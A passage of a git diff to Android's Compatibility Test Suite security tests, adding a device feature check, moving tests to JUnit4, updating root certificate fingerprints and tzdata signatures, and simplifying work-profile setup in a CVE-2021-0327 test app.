             filenames_mode = arg.policy.v1.filenames_encryption_mode;
+            flags = arg.policy.v1.flags;
 
             // Starting with Android 11, FBE must use a strong, non-reversible
             // key derivation function [CDD 9.9.3/C-1-13], and FBE keys must
@@ -250,6 +279,7 @@
             GTEST_LOG_(INFO) << "Detected v2 encryption policy";
             contents_mode = arg.policy.v2.contents_encryption_mode;
             filenames_mode = arg.policy.v2.filenames_encryption_mode;
+            flags = arg.policy.v2.flags;
             break;
         default:
             FAIL() << "Unknown encryption policy version: " << arg.policy.version;
@@ -259,4 +289,6 @@
     GTEST_LOG_(INFO) << "Filenames encryption mode: " << filenames_mode;
 
     validateEncryptionModes(contents_mode, filenames_mode, allow_legacy_modes);
+
+    validateEncryptionFlags(flags);
 }
diff --git a/tests/tests/security/native/utils.cpp b/tests/tests/security/native/utils.cpp
new file mode 100644
index 0000000..373b00e
--- /dev/null
+++ b/tests/tests/security/native/utils.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <string>
+
+#include "utils.h"
+
+ // Returns true iff the device has the specified feature.
+bool deviceSupportsFeature(const char *feature) {
+  bool device_supports_feature = false;
+  FILE *p = popen("/system/bin/pm list features", "re");
+  if (p) {
+    char *line = NULL;
+    size_t len = 0;
+    while (getline(&line, &len, p) > 0) {
+      if (strstr(line, feature)) {
+        device_supports_feature = true;
+        break;
+      }
+    }
+    pclose(p);
+  }
+  return device_supports_feature;
+}
\ No newline at end of file
diff --git a/tests/tests/security/native/utils.h b/tests/tests/security/native/utils.h
new file mode 100644
index 0000000..d6c651c
--- /dev/null
+++ b/tests/tests/security/native/utils.h
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
+#define CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
+
+bool deviceSupportsFeature(const char *feature);
+
+#endif  // CTS_TESTS_TESTS_SECURITY_NATIVE_UTILS_H
diff --git a/tests/tests/security/native/verified_boot/Android.bp b/tests/tests/security/native/verified_boot/Android.bp
index 19b54cd..0a7e254 100644
--- a/tests/tests/security/native/verified_boot/Android.bp
+++ b/tests/tests/security/native/verified_boot/Android.bp
@@ -15,6 +15,7 @@
         "libavb_user",
         "libavb",
         "libfs_mgr",
+        "libctssecurity_native_test_utils",
     ],
     shared_libs: [
         "libbase",
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
index 0cc60e8..5341e18 100644
--- a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -23,6 +23,8 @@
 #include <fstab/fstab.h>
 #include <gtest/gtest.h>
 
+#include "utils.h"
+
 // The relevant Android API levels
 constexpr auto S_API_LEVEL = 31;
 
@@ -41,6 +43,12 @@
 // as current recommendations from NIST for hashing algorithms (SHA-256).
 // https://source.android.com/compatibility/11/android-11-cdd#9_10_device_integrity
 TEST(VerifiedBootTest, avbHashtreeNotUsingSha1) {
+  if(!deviceSupportsFeature("android.hardware.security.model.compatible")) {
+      GTEST_SKIP()
+          << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
+    return;
+  }
+
   int first_api_level = getFirstApiLevel();
   GTEST_LOG_(INFO) << "First API level is " << first_api_level;
   if (first_api_level < S_API_LEVEL) {
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin
new file mode 100644
index 0000000..6058316
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java
index fd2af3a..bc1ed91 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java
@@ -2,30 +2,23 @@
 
 import android.app.Activity;
 import android.app.AlertDialog;
+import android.app.UiAutomation;
 import android.app.admin.DevicePolicyManager;
+import android.app.admin.ManagedProfileProvisioningParams;
+import android.app.admin.ProvisioningException;
 import android.content.ClipData;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.net.Uri;
 import android.os.Bundle;
-import android.view.View;
-import android.util.Log;
-import android.os.SystemClock;
-
-//import android.support.test.InstrumentationRegistry;
-import androidx.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import java.io.*;
-import java.util.stream.Collectors;
-
+import android.os.UserHandle;
 import android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
 
 public class IntroActivity extends Activity {
 
-    private static final int AR_WORK_PROFILE_SETUP = 1;
     private static final String TAG = "CVE_2021_0327";
 
     private void launchOtherUserActivity() {
@@ -45,50 +38,7 @@
         } else if (canLaunchOtherUserActivity()) {
             launchOtherUserActivity();
         } else {
-            setupWorkProfile(null);
-
-            //detect buttons to click
-            boolean profileSetUp=false;
-            String button;
-            java.util.List<UiObject2> objects;
-            UiDevice mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-            BySelector selector = By.clickable(true);
-
-
-            while(!profileSetUp){
-              do {
-                Log.i(TAG, "waiting for clickable");
-                SystemClock.sleep(3000);
-              } while((objects = mUiDevice.findObjects(selector)).size()==0);
-              for(UiObject2 o : objects){
-                button=o.getText();
-                Log.d(TAG,"button:" + button);
-
-                if(button==null){
-                  continue;
-                }
-
-                switch(button){
-                  case "Delete" :
-                    o.click();
-                    Log.i(TAG, "clicked: Delete");
-                    break;
-                  case "Accept & continue" :
-                    o.click();
-                    Log.i(TAG, "clicked: Accept & continue");
-                    break;
-                  case "Next" :
-                    o.click();
-                    profileSetUp=true;
-                    Log.i(TAG, "clicked: Next");
-                    break;
-                  default :
-                    continue;
-                }
-                break;
-              }
-            }
-            //end while(!profileSetUp);
+            setupWorkProfile();
         }
     }
 
@@ -101,29 +51,32 @@
         return (getPackageManager().resolveActivity(intent, 0) != null);
     }
 
-    public void setupWorkProfile(View view) {
+    private void setupWorkProfile() {
         Log.d(TAG, "setupWorkProfile()");
-        Intent intent = new Intent(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE);
-        intent.putExtra(
-                DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
-                new ComponentName(this, AdminReceiver.class)
-        );
-        startActivityForResult(intent, AR_WORK_PROFILE_SETUP);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity();
+        DevicePolicyManager devicePolicyManager = getSystemService(DevicePolicyManager.class);
+        try {
+            UserHandle profile = devicePolicyManager.createAndProvisionManagedProfile(
+                    new ManagedProfileProvisioningParams.Builder(
+                            new ComponentName(this, AdminReceiver.class),
+                            "profileOwner").build());
+            if (profile == null) {
+                showErrorDialog();
+            } else {
+                launchOtherUserActivity();
+            }
+        } catch (ProvisioningException e) {
+            showErrorDialog();
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
     }
 
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        Log.d(TAG, "onActivityResult()");
-        if (requestCode == AR_WORK_PROFILE_SETUP) {
-            if (resultCode == RESULT_OK) {
-                launchOtherUserActivity();
-            } else {
-                new AlertDialog.Builder(this)
-                        .setMessage("Work profile setup failed")
-                        .setPositiveButton("ok", null)
-                        .show();
-            }
-        }
-        super.onActivityResult(requestCode, resultCode, data);
+    private void showErrorDialog() {
+        new AlertDialog.Builder(this)
+                .setMessage("Work profile setup failed")
+                .setPositiveButton("ok", null)
+                .show();
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index 118b40f..e228fd5 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -25,13 +25,13 @@
  */
 class CertificateData {
   static final String[] CERTIFICATE_DATA = {
-      "91:C6:D6:EE:3E:8A:C8:63:84:E5:48:C2:99:29:5C:75:6C:81:7B:81",
+      "99:9A:64:C3:7F:F4:7D:9F:AB:95:F1:47:69:89:14:60:EE:C4:C3:C5",
       "D1:CB:CA:5D:B2:D5:2A:7F:69:3B:67:4D:E5:F0:5A:1D:0C:95:7D:F0",
       "69:69:56:2E:40:80:F4:24:A1:E7:19:9F:14:BA:F3:EE:58:AB:6A:BB",
       "92:5A:8F:8D:2C:6D:04:E0:66:5F:59:6A:FF:22:D8:63:E8:25:6F:3F",
       "75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
       "DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
-      "F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
+      "B4:90:82:DD:45:0C:BE:8B:5B:B1:66:D3:E2:A4:08:26:CD:ED:42:CF",
       "58:E8:AB:B0:36:15:33:FB:80:F7:9B:1B:6D:29:D3:FF:8D:5F:00:F0",
       "55:A6:72:3E:CB:F2:EC:CD:C3:23:74:70:19:9D:2A:BE:11:E3:81:D1",
       "D6:9B:56:11:48:F0:1C:77:C5:45:78:C1:09:26:DF:5B:85:69:76:AD",
@@ -50,14 +50,11 @@
       "5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
       "2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
       "A8:98:5D:3A:65:E5:E5:C4:B2:D7:D6:6D:40:C6:DD:2F:B1:9C:54:36",
-      "59:22:A1:E1:5A:EA:16:35:21:F8:98:39:6A:46:46:B0:44:1B:0F:A9",
       "D4:DE:20:D0:5E:66:FC:53:FE:1A:50:88:2C:78:DB:28:52:CA:E4:74",
-      "02:FA:F3:E2:91:43:54:68:60:78:57:69:4D:F5:E4:5B:68:85:18:68",
       "76:E2:7E:C1:4F:DB:82:C1:C0:A6:75:B5:05:BE:3D:29:B4:ED:DB:BB",
       "D8:C5:38:8A:B7:30:1B:1B:6E:D4:7A:E6:45:25:3A:6F:9F:1A:27:61",
       "E0:11:84:5E:34:DE:BE:88:81:B9:9C:F6:16:26:D1:96:1F:C3:B9:31",
       "93:05:7A:88:15:C6:4F:CE:88:2F:FA:91:16:52:28:78:BC:53:64:17",
-      "59:AF:82:79:91:86:C7:B4:75:07:CB:CF:03:57:46:EB:04:DD:B7:16",
       "50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
       "FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
       "8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
@@ -71,48 +68,44 @@
       "66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
       "2A:1D:60:27:D9:4A:B1:0A:1C:4D:91:5C:CD:33:A0:CB:3E:2D:54:CB",
       "DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
-      "22:D5:D8:DF:8F:02:31:D1:8D:F7:9D:B7:CF:8A:2D:64:C9:3F:6C:3A",
       "F3:73:B3:87:06:5A:28:84:8A:F2:F3:4A:CE:19:2B:DD:C7:8E:9C:AC",
       "06:08:3F:59:3F:15:A1:04:A0:69:A4:6B:A9:03:D0:06:B7:97:09:91",
       "CA:BD:2A:79:A1:07:6A:31:F2:1D:25:36:35:CB:03:9D:43:29:A5:E8",
       "43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
-      "F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
       "05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
       "30:D4:24:6F:07:FF:DB:91:89:8A:0B:E9:49:66:11:EB:8C:5E:46:E5",
       "D1:EB:23:A4:6D:17:D6:8F:D9:25:64:C2:F1:F1:60:17:64:D8:E3:49",
       "B8:01:86:D1:EB:9C:86:A5:41:04:CF:30:54:F3:4C:52:B7:E5:58:C6",
       "4C:DD:51:A3:D1:F5:20:32:14:B0:C6:C5:32:23:03:91:C7:46:42:6D",
-      "DE:28:F4:A4:FF:E5:B9:2F:A3:C5:03:D1:A3:49:A7:F9:96:2A:82:12",
       "0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
       "CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
       "FF:BD:CD:E7:82:C8:43:5E:3C:6F:26:86:5C:CA:A8:3A:45:5B:C3:0A",
-      "13:2D:0D:45:53:4B:69:97:CD:B2:D5:C3:39:E2:55:76:60:9B:5C:C6",
       "5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
       "49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
+      "89:D4:83:03:4F:9E:9A:48:80:5F:72:37:D4:A9:A6:EF:CB:7C:1F:D1",
       "B5:1C:06:7C:EE:2B:0C:3D:F8:55:AB:2D:92:F4:FE:39:D4:E7:0F:0E",
       "29:36:21:02:8B:20:ED:02:F5:66:C5:32:D1:D6:ED:90:9F:45:00:2F",
       "B6:AF:43:C2:9B:81:53:7D:F6:EF:6B:C3:1F:1F:60:15:0C:EE:48:66",
-      "37:9A:19:7B:41:85:45:35:0C:A6:03:69:F3:3C:2E:AF:47:4F:20:79",
       "FA:B7:EE:36:97:26:62:FB:2D:B0:2A:F6:BF:03:FD:E8:7C:4B:2F:9B",
       "C3:19:7C:39:24:E6:54:AF:1B:C4:AB:20:95:7A:E2:C3:0E:13:02:6A",
       "9F:74:4E:9F:2B:4D:BA:EC:0F:31:2C:50:B6:56:3B:8E:2D:93:C3:11",
       "A1:4B:48:D9:43:EE:0A:0E:40:90:4F:3C:E0:A4:C0:91:93:51:5D:3F",
-      "C9:A8:B9:E7:55:80:5E:58:E3:53:77:A7:25:EB:AF:C3:7B:27:CC:D7",
       "E2:B8:29:4B:55:84:AB:6B:58:C2:90:46:6C:AC:3F:B8:39:8F:84:83",
       "1F:49:14:F7:D8:74:95:1D:DD:AE:02:C0:BE:FD:3A:2D:82:75:51:85",
       "9F:F1:71:8D:92:D5:9A:F3:7D:74:97:B4:BC:6F:84:68:0B:BA:B6:66",
       "B5:61:EB:EA:A4:DE:E4:25:4B:69:1A:98:A5:57:47:C2:34:C7:D9:71",
+      "73:A5:E6:4A:3B:FF:83:16:FF:0E:DC:CC:61:8A:90:6E:4E:AE:4D:74",
       "07:E0:32:E0:20:B7:2C:3F:19:2F:06:28:A2:59:3A:19:A7:0F:06:9E",
       "D6:DA:A8:20:8D:09:D2:15:4D:24:B5:2F:CB:34:6E:B2:58:B2:8A:58",
-      "32:3C:11:8E:1B:F7:B8:B6:52:54:E2:E2:10:0D:D6:02:90:37:F0:96",
       "80:94:64:0E:B5:A7:A1:CA:11:9C:1F:DD:D5:9F:81:02:63:A7:FB:D1",
+      "E7:F3:A3:C8:CF:6F:C3:04:2E:6D:0E:67:32:C5:9E:68:95:0D:5E:D2",
       "67:65:0D:F1:7E:8E:7E:5B:82:40:A4:F4:56:4B:CF:E2:3D:69:C6:F0",
       "4A:BD:EE:EC:95:0D:35:9C:89:AE:C7:52:A1:2C:5B:29:F6:D6:AA:0C",
       "DD:FB:16:CD:49:31:C9:73:A2:03:7D:3F:C8:3A:4D:7D:77:5D:05:E4",
       "36:B1:2B:49:F9:81:9E:D7:4C:9E:BC:38:0F:C6:56:8F:5D:AC:B2:F7",
       "37:F7:6D:E6:07:7C:90:C5:B1:3E:93:1A:B7:41:10:B4:F2:E4:9A:27",
-      "AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
       "E2:52:FA:95:3F:ED:DB:24:60:BD:6E:28:F3:9C:CC:CF:5E:B3:3F:DE",
+      "26:F9:93:B4:ED:3D:28:27:B0:B9:4B:A7:E9:15:1D:A3:8D:92:E5:32",
       "3B:C4:9F:48:F8:F3:73:A0:9C:1E:BD:F8:5B:B1:C3:65:C7:D8:11:B3",
       "0F:36:38:5B:81:1A:25:C3:9B:31:4E:83:CA:E9:34:66:70:CC:74:B4",
       "28:90:3A:63:5B:52:80:FA:E6:77:4C:0B:6D:A7:D6:BA:A6:4A:F2:E8",
@@ -131,8 +124,6 @@
       "F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
       "3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
       "D2:73:96:2A:2A:5E:39:9F:73:3F:E1:C7:1E:64:3F:03:38:34:FC:4D",
-      "03:9E:ED:B8:0B:E7:A0:3C:69:53:89:3B:20:D2:D9:32:3A:4C:2A:FD",
-      "1E:0E:56:19:0A:D1:8B:25:98:B2:04:44:FF:66:8A:04:17:99:5F:3F",
       "DF:3C:24:F9:BF:D6:66:76:1B:26:80:73:FE:06:D1:CC:8D:4F:82:A4",
       "51:C6:E7:08:49:06:6E:F3:92:D4:5C:A0:0D:6D:A3:62:8F:C3:52:39",
       "D3:DD:48:3E:2B:BF:4C:05:E8:AF:10:F5:FA:76:26:CF:D3:DC:30:92",
@@ -142,6 +133,7 @@
       "B8:BE:6D:CB:56:F1:55:B9:63:D4:12:CA:4E:06:34:C7:94:B2:1C:C0",
       "AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
       "DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
+      "8F:6B:F2:A9:27:4A:DA:14:A0:C4:F4:8E:61:27:F9:C0:1E:78:5D:D1",
       "F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
       "AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
       "5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
@@ -153,13 +145,12 @@
       "0F:F9:40:76:18:D3:D7:6A:4B:98:F0:A8:35:9E:0C:FD:27:AC:CC:ED",
       "48:12:BD:92:3C:A8:C4:39:06:E7:30:6D:27:96:E6:A4:CF:22:2E:7D",
       "F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
-      "E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
       "89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
       "7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
+      "2F:8F:36:4F:E1:58:97:44:21:59:87:A5:2A:9A:D0:69:95:26:7F:B5",
       "E1:C9:50:E6:EF:22:F8:4C:56:45:72:8B:92:20:60:D7:D5:A7:A3:E8",
       "14:88:4E:86:26:37:B0:26:AF:59:62:5C:40:77:EC:35:29:BA:96:01",
       "8A:C7:AD:8F:73:AC:4E:C1:B5:75:4D:A5:40:F4:FC:CF:7C:B5:8E:8C",
-      "4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
       "5A:8C:EF:45:D7:A6:98:59:76:7A:8C:8B:44:96:B5:78:CF:47:4B:1A",
       "8D:A7:F9:65:EC:5E:FC:37:91:0F:1C:6E:59:FD:C1:CC:6A:6E:DE:16",
       "B1:2E:13:63:45:86:A4:6F:1A:B2:60:68:37:58:2D:C4:AC:FD:94:97",
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index 52e4064..f2a3ad8 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -16,20 +16,30 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.PropertyUtil;
 
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
-import android.test.AndroidTestCase;
-import junit.framework.TestCase;
-
-import android.os.Build;
-import android.util.Log;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SecurityTest
-public class EncryptionTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class EncryptionTest {
     static {
         System.loadLibrary("ctssecurity_jni");
     }
@@ -38,6 +48,15 @@
 
     private static native boolean aesIsFast();
 
+    @Before
+    public void setUp() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // Assumes every test in this file asserts a requirement of CDD section 9.
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                context.getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
+    }
+
     private void handleUnencryptedDevice() {
         // Prior to Android M, encryption wasn't required at all.
         if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.M) {
@@ -83,6 +102,7 @@
     // to instant apps
     @AppModeFull
     @CddTest(requirement="9.9.2/C-0-1,C-0-2,C-0-3")
+    @Test
     public void testEncryption() throws Exception {
         if ("encrypted".equals(PropertyUtil.getProperty("ro.crypto.state"))) {
             handleEncryptedDevice();
diff --git a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
index afb4397..bd08ec7 100644
--- a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
@@ -16,19 +16,27 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import android.content.Context;
-import android.security.FileIntegrityManager;
+import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RestrictedBuildTest;
 import android.platform.test.annotations.SecurityTest;
-import android.util.Log;
+import android.security.FileIntegrityManager;
 
 import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.PropertyUtil;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -37,9 +45,11 @@
 import java.security.cert.CertificateFactory;
 import java.security.cert.X509Certificate;
 
+
 @AppModeFull
 @SecurityTest
-public class FileIntegrityManagerTest extends CtsAndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class FileIntegrityManagerTest {
 
     private static final String TAG = "FileIntegrityManagerTest";
     private static final int MIN_REQUIRED_API_LEVEL = 30;
@@ -48,17 +58,21 @@
     private FileIntegrityManager mFileIntegrityManager;
     private CertificateFactory mCertFactory;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        // Assumes every test in this file asserts a requirement of CDD section 9.
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                mContext.getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
+
         mFileIntegrityManager = mContext.getSystemService(FileIntegrityManager.class);
         mCertFactory = CertificateFactory.getInstance("X.509");
     }
 
 
     @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @Test
     public void testSupportedOnDevicesFirstLaunchedWithR() throws Exception {
         if (PropertyUtil.getFirstApiLevel() >= MIN_REQUIRED_API_LEVEL) {
             assertTrue(mFileIntegrityManager.isApkVeritySupported());
@@ -66,6 +80,7 @@
     }
 
     @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @Test
     public void testCtsReleaseCertificateTrusted() throws Exception {
         boolean isReleaseCertTrusted = mFileIntegrityManager.isAppSourceCertificateTrusted(
                 readAssetAsX509Certificate("fsverity-release.x509.der"));
@@ -78,6 +93,7 @@
 
     @CddTest(requirement="9.10/C-0-3,C-1-1")
     @RestrictedBuildTest
+    @Test
     public void testPlatformDebugCertificateNotTrusted() throws Exception {
         boolean isDebugCertTrusted = mFileIntegrityManager.isAppSourceCertificateTrusted(
                 readAssetAsX509Certificate("fsverity-debug.x509.der"));
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index c5234d6..cbed06d 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -103,10 +103,11 @@
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
-        // The following keys are no longer in use by modules, but it won't negatively affect tests
-        // to include their signatures here too.
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata3));
+        // The following keys are not not used by modules on the latest Android release, but it
+        // won't negatively affect tests to include their signatures here too.
         wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
         return wellKnownSignatures;
     }
 
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 8b646a2..d30f203 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -2358,11 +2358,6 @@
                 } catch (Exception e) {
                     // local exceptions ignored, not security issues
                 } finally {
-                    try {
-                        codec.stop();
-                    } catch (Exception e) {
-                        // local exceptions ignored, not security issues
-                    }
                     codec.release();
                     renderTarget.destroy();
                 }
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index a3209fc..420cbd6 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -16,42 +16,66 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Build;
 import android.platform.test.annotations.SecurityTest;
-import android.test.AndroidTestCase;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PropertyUtil;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @SecurityTest
-public class VerifiedBootTest extends AndroidTestCase {
-  private static final String TAG = "VerifiedBootTest";
+@RunWith(AndroidJUnit4.class)
+public class VerifiedBootTest {
+    private static final String TAG = "VerifiedBootTest";
+    private Context mContext;
 
-  private static boolean isLowRamExempt(PackageManager pm) {
-    if (pm.hasSystemFeature(PackageManager.FEATURE_RAM_NORMAL)) {
-      // No exemption for normal RAM
-      return false;
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        // Assumes every test in this file asserts a requirement of CDD section 9.
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
